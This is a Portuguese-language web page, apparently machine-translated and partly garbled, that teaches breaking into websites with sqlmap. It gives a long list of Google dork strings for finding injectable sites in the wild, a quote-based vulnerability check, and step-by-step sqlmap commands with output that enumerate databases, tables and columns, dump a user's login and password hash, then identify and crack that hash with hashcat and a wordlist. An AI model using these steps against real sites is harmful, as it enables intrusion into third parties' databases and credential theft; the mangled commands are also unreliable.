Translate this Page



ONLINE
1





Partilhe esta Página



Total de visitas: 131926
sqlmap get
sqlmap get

Um guia conciso sobre como usar SqlMap SQL Injection para invadir um site e banco de dados

 

O que é o SQL Injection?

Injeção de SQL é uma técnica de injeção de código, usado para atacar aplicações de dados conduzidos, em que instruções SQL maliciosos são inseridos em um campo de entrada para a execução (por exemplo, para despejar o conteúdo do banco de dados para o atacante). [1] injeção de SQL deve explorar uma vulnerabilidade de segurança em software de um aplicativo, por exemplo, quando a entrada do usuário é ou incorretamente filtrada para strings literais caracteres de escape embutidas em instruções SQL ou a entrada do usuário não é fortemente tipado e inesperadamente executado. Injeção de SQL é principalmente conhecido como um vetor de ataque para sites, mas pode ser usado para atacar qualquer tipo de bancos de dados SQL. Neste guia vou mostrar-lhe como SqlMap SQL Injection em Kali Linux para hackear um site (mais especificamente do banco de dados) e extrair nomes de usuários e senhas em Kali Linux.

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 10

 

O que é SqlMap

SqlMap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL e assumir de servidores de banco de dados. Ele vem com um motor de detecção poderoso, muitas características de nicho para o testador de penetração máxima e uma ampla gama de interruptores com duração de impressões digitais do banco de dados, ao longo Buscando dados do banco de dados, para acessar o sistema de arquivos subjacente e executar comandos no sistema operacional através de out- conexões de banda.

 

Características

  1. Completo suporte para MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase e sistemas de gerenciamento de banco de dados SAP MaxDB.
  2. O suporte total para seis técnicas de injeção SQL: cegos baseada boolean, cegos com base no tempo, com base em erro, consulta de união, consultas empilhadas e banda out-of-.
  3. Suporte para se conectar diretamente ao banco de dados, sem passar através de uma injeção de SQL, fornecendo DBMS credenciais, endereço IP, porta e nome do banco.
  4. Suporte para enumerar usuários, os hashes de senha, privilégios, papéis, bancos de dados, tabelas e colunas.
  5. O reconhecimento automático de formatos de hash de senha e suporte para quebrar-los usando um ataque baseado em dicionário.
  6. Apoio para despejar as tabelas de banco de dados completo, um intervalo de entradas ou colunas específicas como por a escolha do usuário. O usuário também pode escolher para despejar apenas um intervalo de caracteres de entrada de cada coluna.
  7. Suporte para procurar nomes de bancos de dados específicos, tabelas específicas em todas as bases de dados ou colunas específicas em tabelas de todos os bancos de dados. Isso é útil, por exemplo, para identificar tabelas contendo as credenciais de aplicativos personalizados onde os nomes de colunas correspondentes contêm string como nome e passagem.
  8. Suporte para download e upload de qualquer arquivo do sistema de arquivos do servidor de banco de dados subjacente quando o software de banco de dados é o MySQL, PostgreSQL ou Microsoft SQL Server.
  9. Suporte para executar comandos arbitrários e recuperar a sua saída padrão do sistema operacional do servidor de banco de dados subjacente quando o software de banco de dados é o MySQL, PostgreSQL ou Microsoft SQL Server.
  10. Suporte para estabelecer uma conexão TCP stateful out-of-band entre a máquina atacante e do sistema operacional subjacente servidor de banco de dados. Esse canal pode ser um prompt interativo de comandos, uma sessão Meterpreter ou uma interface gráfica do usuário (VNC) sessão como por a escolha do usuário.
  11. O apoio ao processo de banco de dados 'user escalação de privilégios via comando getsystem Meterpreter do Metasploit.

[Fonte: www.sqlmap.org]

Seja atencioso para o usuário que passa o tempo e esforço para criar um site e, possivelmente, depende dele para fazer o seu dia final.Suas ações podem afetar alguém é uma maneira que você nunca desejou. Eu acho que eu não posso fazer mais isso mais claro.

Então aqui vai:

 

Passo 1: encontrar um site Vulnerável

Este é geralmente o bit mais difícil e leva mais tempo do que quaisquer outras medidas. Aqueles que sabem como usar o Google Dorkssabe isso já, mas no caso de você não tenho a reunir uma série de seqüências que você pode pesquisar no Google. Basta copiar colar qualquer uma das linhas no Google e Google irá mostrar-lhe uma série de resultados de pesquisa.

 

Cordas Google Dorks para encontrar SqlMap SQL website injetável Vulnerável: Etapa 1.a

Esta lista um tempo muito longo .. Levei um longo tempo para recolhê-los. Se você sabe SQL, então você pode adicionar mais aqui .. Coloque-as em seção de comentários e eu vou adicioná-los aqui.

 

Google Dork corda Coluna 1Google Dork corda Coluna 2Google Dork corda Coluna 3
inurl: item_id = inurl:? review.php id = inurl:? hosting_info.php id =
inurl: newsid = inurl: iniziativa.php in =? inurl:? gallery.php id =
inurl:? trainers.php id = inurl:? curriculum.php id = inurl:? rub.php idr =
inurl: news-full.php id = inurl:? labels.php id = inurl:? view_faq.php id =
inurl:? news_display.php getid = inurl:? story.php id = inurl:? artikelinfo.php id =
inurl:? opção index2.php = inurl:? look.php ID = inurl:? detail.php ID =
inurl:? readnews.php id = inurl:? newsone.php id = inurl: index.php =?
inurl:? top10.php cat = inurl:? aboutbook.php id = inurl:? profile_view.php id =
inurl:? newsone.php id = inurl:? material.php id = inurl:? category.php id =
inurl:? event.php id = inurl:? opinions.php id = inurl:? publications.php id =
inurl:? produto item.php id = inurl:? announce.php id = inurl:? fellows.php id =
inurl:? sql.php id = inurl:? rub.php idr = inurl:? downloads_info.php id =
inurl: index.php catid = inurl:? galeri_info.php l = inurl:? prod_info.php id =
inurl:? news.php catid = inurl:? tekst.php idt = inurl:? shop.php fazer parte = & id =
inurl: id = index.php? inurl:? newscat.php id = inurl:? productinfo.php id =
inurl:? news.php id = inurl:? newsticker_info.php idn = inurl:? collectionitem.php id =
inurl: id = index.php? inurl:? rubrika.php idr = inurl:? band_info.php id =
inurl:? trainers.php id = inurl:? rubp.php idr = inurl:? product.php id =
inurl:? buy.php categoria = inurl:? offer.php idf = inurl:? releases.php id =
inurl:? article.php ID = inurl:? art.php idm = inurl:? ray.php id =
inurl:? play_old.php id = inurl:? title.php id = inurl:? produit.php id =
inurl:? declaration_more.php decl_id = inurl:? news_view.php id = inurl:? pop.php id =
inurl: pageid = inurl:? select_biblio.php id = inurl:? shopping.php id =
inurl:? games.php id = inurl:? humor.php id = inurl:? productdetail.php id =
inurl: arquivo page.php = inurl:? aboutbook.php id = inurl:? post.php id =
inurl:? newsDetail.php id = inurl:? ogl_inet.php ogl_id = inurl:? viewshowdetail.php id =
inurl:? gallery.php id = inurl:? fiche_spectacle.php id = inurl:? clubpage.php id =
inurl:? article.php id = inurl:? communique_detail.php id = inurl:? memberInfo.php id =
inurl:? show.php id = inurl:? sem.php3 id = inurl:? section.php id =
inurl: staff_id = inurl:? kategorie.php4 id = inurl:? theme.php id =
inurl:? newsitem.php num = inurl:? news.php id = inurl:? page.php id =
inurl:? readnews.php id = inurl: id = index.php? inurl: triturador-categories.php id =
inurl:? top10.php cat = inurl:? faq2.php id = inurl:? tradeCategory.php id =
inurl:? historialeer.php num = inurl:? show_an.php id = inurl:? product_ranges_view.php ID =
inurl:? reagir.php num = inurl:? preview.php id = inurl:? shop_category.php id =
inurl: Stray-Perguntas-view.php num = inurl:? loadpsb.php id = inurl:? transcript.php id =
inurl:? forum_bds.php num = inurl:? opinions.php id = inurl: Channel_id =
inurl:? game.php id = inurl:? spr.php id = inurl:? aboutbook.php id =
inurl:? view_product.php id = inurl:? pages.php id = inurl:? preview.php id =
inurl:? newsone.php id = inurl:? announce.php id = inurl:? loadpsb.php id =
inurl:? sw_comment.php id = inurl:? clanek.php4 id = inurl:? pages.php id =
inurl:? news.php id = inurl:? participant.php id =  
inurl:? avd_start.php avd = inurl:? download.php id =  
inurl:? event.php id = inurl:? main.php id =  
inurl:? produto item.php id = inurl:? review.php id =  
inurl:? sql.php id = inurl:? chappies.php id =  
inurl:? material.php id = inurl:? read.php id =  
inurl:? clanek.php4 id = inurl:? prod_detail.php id =  
inurl:? announce.php id = inurl:? viewphoto.php id =  
inurl:? chappies.php id = inurl:? article.php id =  
inurl:? read.php id = inurl:? person.php id =  
inurl:? viewapp.php id = inurl:? productinfo.php id =  
inurl:? viewphoto.php id = inurl:? showimg.php id =  
inurl:? rub.php idr = inurl:? view.php id =  
inurl:? galeri_info.php l = inurl:? website.php id =  

 

Etapa 1.b: verificação inicial para confirmar se o site é vulnerável a SqlMap SQL Injection

Para cada show corda acima, você receberá huundreds de resultados de pesquisa. Como você sabe que é muito vulnerável a SqlMap SQL Injection. Há várias maneiras e tenho certeza que as pessoas diriam que é o melhor, mas para mim o seguinte é o mais simples e mais conclusivo.

Vamos dizer que você procurou usar essa seqüência de inurl: item_id = e um dos resultado da pesquisa mostra um site como este:

https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15

Basta adicionar uma aspa ' no final da URL. (Só para garantir, " é um aspas duplas e " é uma aspa simples).

Então agora o URL será parecido com isto:

https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 '

Se a página retorna um erro de SQL, a página é vulnerável a SqlMap SQL Injection. Se ele carrega ou redirecioná-lo para uma página diferente, passar para o próximo local em sua página de resultados de pesquisa do Google.

Veja o exemplo abaixo de erro na imagem. Eu obscurecida tudo, incluindo URL e design da página, por razões óbvias.

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 1

 

Exemplos de erros SQLI de diferentes bancos de dados e Línguas

 

Microsoft SQL Server

Erro de Servidor no Aplicativo '/'. Aspas não fechadas antes do caractere string 'ataque;'.

Descrição: Ocorreu uma exceção unhanded durante a execução da solicitação da web atual. Examine o rastreamento de pilha para obter mais informações sobre o erro onde foi originado no código.

Detalhes da exceção: System.Data.SqlClient.SqlException: Aspas não fechadas antes do caractere string 'ataque; ».

 

Erros MySQL

Warning: mysql_fetch_array (): fornecido argumento não é um recurso válido do resultado de MySQL em / var / www / myawesomestore.com / buystuff.php na linha 12

Erro: Você tem um erro em sua sintaxe SQL: verifique o manual que corresponde à sua versão do servidor MySQL para a sintaxe direita ao uso próximo'' 'na linha 12

Erros da Oracle

java.sql.SQLException: ORA-00933: comando SQL não devidamente terminou às oracle.jdbc.dbaaccess.DBError.throwSqlException (DBError.java: 180) em oracle.jdbc.ttc7.TTIoer.processError (TTIoer.java: 208)

Erro: SQLExceptionjava.sql.SQLException: ORA-01756: string não devidamente rescindido

 

Erros PostgreSQL

Consulta falhou: ERRO: não terminada string ou perto "'' '"

 

Passo 2: Lista de bancos de dados DBMS usando SqlMap SQL Injection

Como você pode ver na imagem acima, eu encontrei um SqlMap SQL Injection site vulnerável. Agora eu preciso listar todos os bancos de dados em banco de dados que Vulnerável. (Isso também é chamado de enumerar número de colunas). Como eu estou usando SqlMap, que também irá me dizer qual é vulnerável.

 

Execute o seguinte comando em seu site vulnerável com.

SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 - dbs

Em aqui: SqlMap = Nome do arquivo binário SqlMap -u = URL de destino (por exemplo, "https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15") - dbs = bancos de dados Enumerar DBMS


Veja a imagem abaixo.

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 2

 

Este comandos revela muito poucos informação interessante:

tecnologia de aplicação web: Apache
DBMS back-end: MySQL 5.0
[10:55:53] [INFO] acessado: information_schema
[10:55:56] [INFO] acessado: sqldummywebsite
[10:55:56] [INFO] dados buscados logado para arquivos de texto em "/ usr / share / SqlMap / output / www.sqldummywebsite.com '

Então, agora temos dois dados que podemos olhar. information_schema é um banco de dados padrão para quase todos os banco de dados MYSQL. Assim, o nosso interesse seria em sqldummywebsite banco de dados.

 

Passo 3: Lista as tabelas de banco de dados de destino usando SqlMap SQL Injection

Agora precisamos saber quantas mesas este sqldummywebsite banco de dados tem e quais são seus nomes. Para descobrir essa informação, use o seguinte comando:

SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15-D sqldummywebsite --tables

Sweet, esta base de dados tem 8 mesas.

[10:56:20] [INFO] buscar mesas para banco de dados: 'sqldummywebsite'
[10:56:22] [Info] heurísticas detectado página web charset 'ISO-8859-2'
[10:56:22] [INFO] a consulta SQL retorna utilizados 8 entradas
[10:56:25] [INFO] acessado: artigo
[10:56:27] [INFO] acessado: ligação
[10:56:30] [INFO] acessado: outro
[10:56:32] [INFO] acessado: imagem
[10:56:34] [INFO] acessado: picture_tag
[10:56:37] [INFO] acessado: popular_picture
[10:56:39] [INFO] acessado: popular_tag
[10:56:42] [INFO] acessado: user_info

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 3

 

e, claro, queremos verificar o que está dentro user_info tabela usando SQL Injection SqlMap como que a tabela provavelmente contém nome de usuário e senhas.

 

Passo 4: Lista de colunas em tabela de destino do banco de dados selecionado usando SqlMap SQL Injection

Agora precisamos listar todas as colunas na tabela de destino USER_INFO de sqldummywebsite banco de dados usando SqlMap SQL Injection. SqlMap SQL Injection torna muito fácil, execute o seguinte comando:

 

SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15-D sqldummywebsite-T user_info --Columns

 

Isso retorna 5 entradas de tabela de destino user_info de sqldummywebsite banco de dados.

[10:57:16] [INFO] buscar colunas da tabela 'user_info' em banco de dados 'sqldummywebsite'
[10:57:18] [Info] heurísticas detectado página web charset 'ISO-8859-2'
[10:57:18] [INFO] a consulta SQL retorna utilizados 5 cadastros
[10:57:20] [INFO] acessado: user_id
[10:57:22] [INFO] acessado: int (10) unsigned
[10:57:25] [INFO] acessado: user_login
[10:57:27] [INFO] acessado: varchar (45)
[10:57:32] [INFO] acessado: user_password
[10:57:34] [INFO] acessado: varchar (255)
[10:57:37] [INFO] acessado: unique_id
[10:57:39] [INFO] acessado: varchar (255)
[10:57:41] [INFO] acessado: record_status
[10:57:43] [INFO] acessado: tinyint (4)

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 4

 

AHA! Este é exatamente o que estamos procurando ... alvo mesa user_login e user_password .

 

Passo 5: Lista de nomes de usuários de colunas de destino da tabela de destino do banco de dados selecionado usando SqlMap SQL Injection

SqlMap SQL Injection faz é fácil! Basta executar o seguinte comando novamente:

SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15-D sqldummywebsite-T user_info-C user_login --dump

 

Adivinha o quê, agora temos o nome de usuário do banco de dados:

[10:58:39] [INFO] acessado: usuárioX
[10:58:40] [INFO] descarga de tabela analisando possíveis hashes de senha

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 5

 

Quase lá, agora só precisa da senha para para este utilizador .. a seguir mostra apenas que ..

 

Passo 6: Extrair senha de colunas de destino da tabela de destino do banco de dados selecionado usando SqlMap SQL Injection

Você provavelmente está se acostumando a sobre como usar a ferramenta de injeção SqlMap SQL. Use o seguinte comando para extrair a senha para o usuário.

SqlMap-u https://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15-D sqldummywebsite-T user_info-C user_password --dump

 

TADA! Temos senha.

[10:59:15] [INFO] a consulta SQL retorna usados ​​1 cadastros
[10:59:17] [INFO] acessado: 24iYBc17xK0e.
[10:59:18] [INFO] descarga de tabela analisando possíveis hashes de senha
Base de dados: sqldummywebsite
Tabela: user_info
[1 entrada]
+ --------------- +
| User_password |
+ --------------- +
| 24iYBc17xK0e. |
+ --------------- +

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 6

 

Mas espere, essa senha parece engraçado. Esta não pode ser a senha de alguém .. Alguém que deixa seu site vulnerável como que simplesmente não pode ter uma senha assim.

Isto é exatamente correto. Este é um hash de senha. O que isso significa, a senha é criptografada e agora precisamos de decifrá-lo.

Eu cobri como descriptografar senha extensivamente sobre este Cracking MD5, phpBB, MySQL e SHA1 senhas com Hashcat em Kali Linux post. Se você perdeu, você está perdendo muito.

 

Vou cobri-lo em breve aqui, mas você realmente deve aprender a usar hashcat.

Passo 7: Cracking senha

Portanto, a senha de hash é 24iYBc17xK0e. . Como você sabe que tipo de hash é isso?

 

Passo 7.a: Identificar tipo Hash

Felizmente, Kali Linux fornece uma ferramenta agradável e podemos usar isso para identificar qual o tipo de hash é isso. No comando tipo de linha no comando a seguir e no prompt de colar o valor hash:

Hash-identificador

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 7

 

Excelente. Portanto, esta é de hash DES (Unix).

 

Passo 7.b: Rache HASH utilizando cudahashcat

Primeiro de tudo eu preciso saber qual o código a ser usado para hashes DES. Então, vamos verificar que:

cudahashcat - help | grep DES

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 8

 

Então, é ou 1500 ou 3100. Mas foi um banco de dados MySQL, por isso deve ser 1500.

Estou executando um computador isso é tem placa NVIDIA Graphics. Isso significa que eu vou estar usando cudaHashcat. No meu laptop, eu tenho um cartão AMD ATI Graphics, por isso vou estar usando oclHashcat no meu laptop. Se você estiver em VirtualBox ou VMWare, nem cudahashcat nem oclhashcat vai funcionar. Você deve instalar Kali em qualquer um USB persisitent ou em disco rígido. As instruções estão no site, procurar por aí.

Salvei o valor de hash 24iYBc17xK0e. no DES.hash arquivo. A seguir é o comando que estou executando:

cudahashcat-m 1500-um 0 / root / sql / DES.hash / root / sql / rockyou.txt

 

Use SqlMap SQL Injection para invadir um site e banco de dados - Ops Blackmore - 9

 

Interessante encontrar: Usuaul Hashcat foi incapaz de determinar o código de hash para DES. (Não no-lo do menu de ajuda). Howeverm tanto cudaHashcat e oclHashcat encontrado e rachou a chave.

De qualquer forma, isso aqui é a senha rachado: abc123. 24iYBc17xK0e:. abc123

Sweet, que agora ainda tem a senha para este usuário.

 

Conclusão

Obrigado por ler e visitar o meu site.

Há muitas outras maneiras de entrar em um banco de dados ou obter informações do usuário. Você deve praticar tais técnicas em sites que você tem permissão para.

Por favor, compartilhe e que todos saibam como testar seus sites usando esta técnica. antes de tudo ache primeiro

ache apagina da adiministrção do site veja a qui no site como achar pagina do adiministrador do site.